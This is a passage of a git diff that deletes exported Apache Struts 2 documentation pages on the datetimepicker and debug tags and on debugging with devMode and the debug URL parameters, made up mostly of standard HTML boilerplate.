-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="tag-reference.html">Tag Reference</a>&nbsp;&gt;&nbsp;<a href="ui-tag-reference.html">UI Tag Reference</a>&nbsp;&gt;&nbsp;<a href="datetimepicker.html">datetimepicker</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">datetimepicker</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14274">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14274">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14274">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14274">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14274">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14274">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-<div class="confluence-information-macro confluence-information-macro-warning"><span class="aui-icon aui-icon-small aui-iconfont-error confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>To use this tag:</p>
-<ul><li>Add: <em>&lt;%@ taglib prefix="sx" uri="/struts-dojo-tags" %&gt;</em> to your page.</li><li>The <a shape="rect" href="dojo-head.html">head</a> tag must be included on the page, which can be configured for performance or debugging purposes.</li><li>If the parseContent parameter for the <a shape="rect" href="dojo-head.html">head</a> tag is false (it is false by default), then the <strong>id</strong> tag is required.</li></ul>
-</div></div>
-<div class="confluence-information-macro confluence-information-macro-tip"><p class="title">Additional Examples</p><span class="aui-icon aui-icon-small aui-iconfont-approve confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>For more examples see <a shape="rect" href="ajax-and-javascript-recipes.html">Ajax and JavaScript Recipes</a></p></div></div>
-
-<h2 id="datetimepicker-Description">Description</h2>
-<div class="error"><span class="error">Error formatting macro: snippet: java.lang.IndexOutOfBoundsException: Index: 20, Size: 20</span> </div>
-
-<h2 id="datetimepicker-Parameters">Parameters</h2>
-<p><table width="100%"><tr><td colspan="6" rowspan="1"><h4>Dynamic Attributes Allowed:</h4> false</td></tr><tr><td colspan="6" rowspan="1">&#160;</td></tr><tr><th align="left" colspan="1" rowspan="1" valign="top"><h4>Name</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Required</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Default</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Evaluated</h4></th><th align="left" colspan="1" rows [...]
-
-<h2 id="datetimepicker-Examples">Examples</h2>
-<div class="error"><span class="error">Error formatting macro: snippet: java.lang.IndexOutOfBoundsException: Index: 20, Size: 20</span> </div>
-<p>Getting and getting the datetimepicker value, from JavaScript:</p>
-<div class="error"><span class="error">Error formatting macro: snippet: java.lang.IndexOutOfBoundsException: Index: 20, Size: 20</span> </div>
-<p>Publish topic when value changes</p>
-<div class="error"><span class="error">Error formatting macro: snippet: java.lang.IndexOutOfBoundsException: Index: 20, Size: 20</span> </div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/debug.html b/content/docs/debug.html
deleted file mode 100644
index b96a96b..0000000
--- a/content/docs/debug.html
+++ /dev/null
@@ -1,138 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>debug</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="tag-reference.html">Tag Reference</a>&nbsp;&gt;&nbsp;<a href="generic-tag-reference.html">Generic Tag Reference</a>&nbsp;&gt;&nbsp;<a href="debug.html">debug</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">debug</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13823">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13823">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13823">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13823">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13823">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13823">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>Outputs the content of the Value Stack.</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/debugging-struts.data/debuging-struts-1.png b/content/docs/debugging-struts.data/debuging-struts-1.png
deleted file mode 100644
index 8262e39..0000000
Binary files a/content/docs/debugging-struts.data/debuging-struts-1.png and /dev/null differ
diff --git a/content/docs/debugging-struts.data/debuging-struts-2.png b/content/docs/debugging-struts.data/debuging-struts-2.png
deleted file mode 100644
index 985e56a..0000000
Binary files a/content/docs/debugging-struts.data/debuging-struts-2.png and /dev/null differ
diff --git a/content/docs/debugging-struts.data/debuging-struts-3.png b/content/docs/debugging-struts.data/debuging-struts-3.png
deleted file mode 100644
index b386cbc..0000000
Binary files a/content/docs/debugging-struts.data/debuging-struts-3.png and /dev/null differ
diff --git a/content/docs/debugging-struts.html b/content/docs/debugging-struts.html
deleted file mode 100644
index 87a79c9..0000000
--- a/content/docs/debugging-struts.html
+++ /dev/null
@@ -1,155 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Debugging Struts</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="tutorials.html">Tutorials</a>&nbsp;&gt;&nbsp;<a href="getting-started.html">Getting Started</a>&nbsp;&gt;&nbsp;<a href="exception-handling.html">Exception Handling</a>&nbsp;&gt;&nbsp;<a href="debugging-struts.html">Debugging Struts</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Debugging Struts</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=16941310">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=16941310">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=16941310">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=16941310">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=16941310">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=16941310">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-information"><span class="aui-icon aui-icon-small aui-iconfont-info confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>The example code for this tutorial, debugging_struts, is available for checkout at <a shape="rect" class="external-link" href="https://github.com/apache/struts-examples" rel="nofollow">https://github.com/apache/struts-exam [...]
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">&lt;a href="&lt;s:url action="index" namespace="config-browser" /&gt;"&gt;Launch the configuration browser&lt;/a&gt;
-</pre>
-</div></div><p>In the example application, there is a link to the configuration browser on the index.jsp page.</p><p>Clicking on the link for the configuration browser will cause the Struts 2 framework to return this page to your browser.<br clear="none"> <span class="confluence-embedded-file-wrapper"><img class="confluence-embedded-image" src="debugging-struts.data/debuging-struts-1.png"></span></p><p>You can click on an action link to see the configuration for that action. For example  [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/debugging.html b/content/docs/debugging.html
deleted file mode 100644
index c815cff..0000000
--- a/content/docs/debugging.html
+++ /dev/null
@@ -1,197 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Debugging</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="debugging.html">Debugging</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Debugging</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=29096">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=29096">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=29096">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=29096">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=29096">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=29096">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>Modern IDEs provide excellent support for debugging. In addition, the framework provides support for inspecting framework-specific objects at runtime.</p><p>The <a shape="rect" href="debugginginterceptor.html">Debugging Interceptor</a> provides three debugging modes to provide insight into the data behind the page. The <code>xml</code> mode formats relevant framework objects as an XML document. The <code>console</code> mode provides a OGNL comma [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;constant name="struts.devMode" value="true" /&gt;
-</pre>
-</div></div><p>Then, whenever a page needs debugging, add <code>?debug=xml</code> or <code>?debug=console</code> or <code>?debug=browser</code> to the URL.</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">- &lt;debug&gt;
-  &lt;parameters /&gt; 
-- &lt;context&gt;
-- &lt;struts.actionMapping&gt;
-  &lt;class&gt;class org.apache.struts2.dispatcher.mapper.ActionMapping&lt;/class&gt; 
-  &lt;name&gt;showcase&lt;/name&gt; 
-  &lt;namespace&gt;/&lt;/namespace&gt; 
-  &lt;/struts.actionMapping&gt;
-  &lt;attr /&gt; 
-  &lt;__devMode&gt;true&lt;/__devMode&gt; 
-  &lt;report.conversion.errors&gt;false&lt;/report.conversion.errors&gt; 
-  &lt;/context&gt;
-  &lt;request /&gt; 
-  &lt;session /&gt; 
-- &lt;valueStack&gt;
-- &lt;value&gt;
-  &lt;actionErrors /&gt; 
-  &lt;actionMessages /&gt; 
-  &lt;class&gt;class com.opensymphony.xwork2.ActionSupport&lt;/class&gt; 
-  &lt;errorMessages /&gt; 
-  &lt;errors /&gt; 
-  &lt;fieldErrors /&gt; 
-- &lt;locale&gt;
-  &lt;ISO3Country&gt;USA&lt;/ISO3Country&gt; 
-  &lt;ISO3Language&gt;eng&lt;/ISO3Language&gt; 
-  &lt;class&gt;class java.util.Locale&lt;/class&gt; 
-  &lt;country&gt;US&lt;/country&gt; 
-  &lt;displayCountry&gt;United States&lt;/displayCountry&gt; 
-  &lt;displayLanguage&gt;English&lt;/displayLanguage&gt; 
-  &lt;displayName&gt;English (United States)&lt;/displayName&gt; 
-  &lt;displayVariant /&gt; 
-  &lt;language&gt;en&lt;/language&gt; 
-  &lt;variant /&gt; 
-  &lt;/locale&gt;
-  &lt;/value&gt;
-- &lt;value&gt;
-  &lt;class&gt;class com.opensymphony.xwork2.DefaultTextProvider&lt;/class&gt; 
-  &lt;/value&gt;
-  &lt;/valueStack&gt;
-  &lt;/debug&gt;
-</pre>
-</div></div><div class="confluence-information-macro confluence-information-macro-tip"><span class="aui-icon aui-icon-small aui-iconfont-approve confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>For <code>?debug=xml</code> use Internet Explorer or an <a shape="rect" class="external-link" href="http://ietab.mozdev.org/" rel="nofollow">IE tab in FireFox</a></p></div></div><div class="confluence-information-macro confluence-information-macro-tip"><s [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/debugginginterceptor.html b/content/docs/debugginginterceptor.html
deleted file mode 100644
index fe38816..0000000
--- a/content/docs/debugginginterceptor.html
+++ /dev/null
@@ -1,175 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
